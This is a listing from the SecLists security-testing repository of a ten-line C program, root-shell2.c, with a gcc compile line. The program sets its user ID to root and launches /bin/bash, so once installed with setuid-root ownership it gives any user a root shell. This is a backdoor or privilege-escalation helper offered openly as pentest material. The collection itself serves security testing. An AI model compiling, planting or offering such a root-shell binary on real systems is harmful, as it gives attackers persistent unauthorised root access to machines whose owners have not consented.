SecLists/Miscellaneous/Source-Code/c-linux/root-shell2.c
2024-04-05 10:42:21 +00:00

10 lines
144 B
C

// $ gcc -o root-shell2 root-shell2.c
#include <unistd.h>
int main()
{
setuid(0);
execl("/bin/bash", "bash", (char *)NULL);
return 0;
}